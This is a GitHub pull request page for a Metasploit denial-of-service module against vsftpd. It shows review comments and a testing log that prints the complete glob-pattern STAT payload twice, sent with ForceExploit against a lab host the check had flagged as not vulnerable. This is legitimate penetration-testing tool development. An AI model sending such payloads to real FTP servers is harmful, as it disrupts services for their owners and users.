vsftpd_232: Misc fix ups#21369
Merged
Merged
Conversation
g0tmi1k
force-pushed
the
vsftpd_232
branch
6 times, most recently
from
bc80e14 to
7a74bb3
Compare
g0tmi1k
force-pushed
the
vsftpd_232
branch
14 times, most recently
from
70067c1 to
029069a
Compare
g0tmi1k
force-pushed
the
vsftpd_232
branch
8 times, most recently
from
b199435 to
6cfb24c
Compare
Contributor
Author
Contributor
There was a problem hiding this comment.
Pull request overview
Updates the auxiliary/dos/ftp/vsftpd_232 module to make execution safer by default and improve operator feedback and database reporting, primarily by adopting AutoCheck, adding an attempts limit, and expanding service/note/vuln reporting.
Changes:
- Add
Msf::Exploit::Remote::AutoChecksupport and adjust thecheckflow to useconnect+ banner/STAT output logging. - Add
MAX_ATTEMPTSto cap retry loops (avoids effectively infinite DoS loops by default). - Add workspace reporting helpers (
report_noteforSTAToutput,report_vulnhelper) and clean up module messaging.
Impact Analysis:
- Blast radius: Low — isolated to a single auxiliary module.
- Data and contract effects: Adds/changes DB artifacts (notes/vulns) emitted by this module; potential for duplicate/false-positive vuln entries if not addressed.
- Rollback and test focus: Rollback is straightforward (single file); validate
check/runbehavior on non-FTP targets, FTP servers that don’t send banners, and on unreachable/closed ports to avoid false positives.
jheysel-r7
requested changes
Jun 9, 2026
jheysel-r7
left a comment
jheysel-r7
left a comment
Contributor
There was a problem hiding this comment.
Thanks for the PR @g0tmi1k. Copilot raised a couple good points. Other than those LGTM
Testing
msf auxiliary(dos/ftp/vsftpd_232) > set rport 21
rport => 21
msf auxiliary(dos/ftp/vsftpd_232) > run
[*] Running module against 10.5.132.178
[*] 10.5.132.178:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.5.132.178:21 - Connecting to FTP server...
[*] 10.5.132.178:21 - Connected to target FTP server
[*] 10.5.132.178:21 - FTP banner: vsFTPd 2.3.4
[*] 10.5.132.178:21 - STAT: 211-FTP server status:
[*] 10.5.132.178:21 - Connected to 192.168.3.8
[*] 10.5.132.178:21 - Logged in as ftp
[*] 10.5.132.178:21 - TYPE: ASCII
[*] 10.5.132.178:21 - No session bandwidth limit
[*] 10.5.132.178:21 - Session timeout in seconds is 300
[*] 10.5.132.178:21 - Control connection is plain text
[*] 10.5.132.178:21 - Data connections will be plain text
[*] 10.5.132.178:21 - vsFTPd 2.3.4 - secure, fast, stable
[*] 10.5.132.178:21 - 211 End of status
[!] 10.5.132.178:21 - The target is not exploitable. VSFTPD 2.3.4 is not vulnerable (affected: <= 2.3.2) ForceExploit is enabled, proceeding with exploitation.
[*] 10.5.132.178:21 - FTP DoS command: STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
[*] 10.5.132.178:21 - Attempt: 1/25 - Sending DoS command
[*] 10.5.132.178:21 - Connecting to FTP server...
[*] 10.5.132.178:21 - Connected to target FTP server
[*] 10.5.132.178:21 - Authenticating as anonymous with password mozilla@example.com...
[*] 10.5.132.178:21 - Sending password...
...
[*] 10.5.132.178:21 - Attempt: 25/25 - Sending DoS command
[*] 10.5.132.178:21 - Connecting to FTP server...
[*] 10.5.132.178:21 - Connected to target FTP server
[*] 10.5.132.178:21 - Authenticating as anonymous with password mozilla@example.com...
[*] 10.5.132.178:21 - Sending password...
[-] 10.5.132.178:21 - Reached 25 attempts without DoS
[*] Auxiliary module execution completed
msf auxiliary(dos/ftp/vsftpd_232) > workspace -v
Workspaces
==========
current name hosts services vulns creds loots notes
------- ---- ----- -------- ----- ----- ----- -----
* default 1 2 0 0 0 2
msf auxiliary(dos/ftp/vsftpd_232) > set rport 2121
rport => 2121
msf auxiliary(dos/ftp/vsftpd_232) > run
[*] Running module against 10.5.132.178
[*] 10.5.132.178:2121 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.5.132.178:2121 - Connecting to FTP server...
[*] 10.5.132.178:2121 - Connected to target FTP server
[!] 10.5.132.178:2121 - The target is not exploitable. Does not appear to be VSFTPD (banner: ProFTPD 1.3.1 Server (Debian)) ForceExploit is enabled, proceeding with exploitation.
[*] 10.5.132.178:2121 - FTP DoS command: STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
[*] 10.5.132.178:2121 - Attempt: 1/25 - Sending DoS command
[*] 10.5.132.178:2121 - Connecting to FTP server...
[*] 10.5.132.178:2121 - Connected to target FTP server
[*] 10.5.132.178:2121 - Authenticating as anonymous with password mozilla@example.com...
[*] 10.5.132.178:2121 - Sending password...
[-] 10.5.132.178:2121 - The server rejected our password
[-] 10.5.132.178:2121 - Authentication failed - check FTPUSER/FTPPASS credentials
[*] Auxiliary module execution completed
msf auxiliary(dos/ftp/vsftpd_232) > workspace -v
Workspaces
==========
current name hosts services vulns creds loots notes
------- ---- ----- -------- ----- ----- ----- -----
* default 1 4 0 0 0 3
msf auxiliary(dos/ftp/vsftpd_232) > services -v
Services
========
host port proto name state info resource parents
---- ---- ----- ---- ----- ---- -------- -------
10.5.132.178 21 tcp ftp open vsFTPd 2.3.4 {} tcp (21/tcp)
10.5.132.178 21 tcp tcp open {}
10.5.132.178 2121 tcp ftp open ProFTPD 1.3.1 Server (Debian) {} tcp (2121/tcp)
10.5.132.178 2121 tcp tcp open {}
msf auxiliary(dos/ftp/vsftpd_232) > notes -v
Notes
=====
Time Host Service Port Protocol Type Data
---- ---- ------- ---- -------- ---- ----
2026-06-09 17:59:02 UTC 10.5.132.178 ftp 21 tcp ftp.banner {:banner=>"220 (vsFTPd 2.3.4)"}
2026-06-09 17:59:02 UTC 10.5.132.178 ftp 21 tcp ftp.cmd.stat {:username=>"anonymous", :output=>"211-FTP server status:\r\n Connected to 192.168.3.8\r\n
Logged in as ftp\r\n TYPE: ASCII\r\n No session bandwidth limit\r\n Session timeout i
n seconds is 300\r\n Control connection is plain text\r\n Data connections will be plain t
ext\r\n vsFTPd 2.3.4 - secure, fast, stable\r\n211 End of status"}
2026-06-09 17:59:46 UTC 10.5.132.178 ftp 2121 tcp ftp.banner {:banner=>"220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.5.132.178]"}
github-project-automation
Bot
moved this from Todo
to Waiting on Contributor
in Metasploit Kanban
jheysel-r7
moved this from Waiting on Contributor
to Waiting on Review
in Metasploit Kanban
Contributor
Author
|
Hey hey @jheysel-r7 - Thanks for making the time to review. |
Stop DoS after success Stop if response didn't go to plan
jheysel-r7
approved these changes
Jun 18, 2026
jheysel-r7
left a comment
jheysel-r7
left a comment
Contributor
There was a problem hiding this comment.
Thanks for making those changes @g0tmi1k 🚀
github-project-automation
Bot
moved this from Waiting on Review
to In Progress
in Metasploit Kanban
Contributor
Release NotesThis adds a number of enhancements for the vsftpd_232 module. It improves the check method, module output and reporting. |
Contributor
Author
|
Thanking you @jheysel-r7 ! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This isn't anything major, was just little misc items:
report_service()/report_vuln()/report_note())onnect_login()->connect()(able to troubleshoot more)Target is Metasploitable 2 (but its not vulnerable to it).
Before
After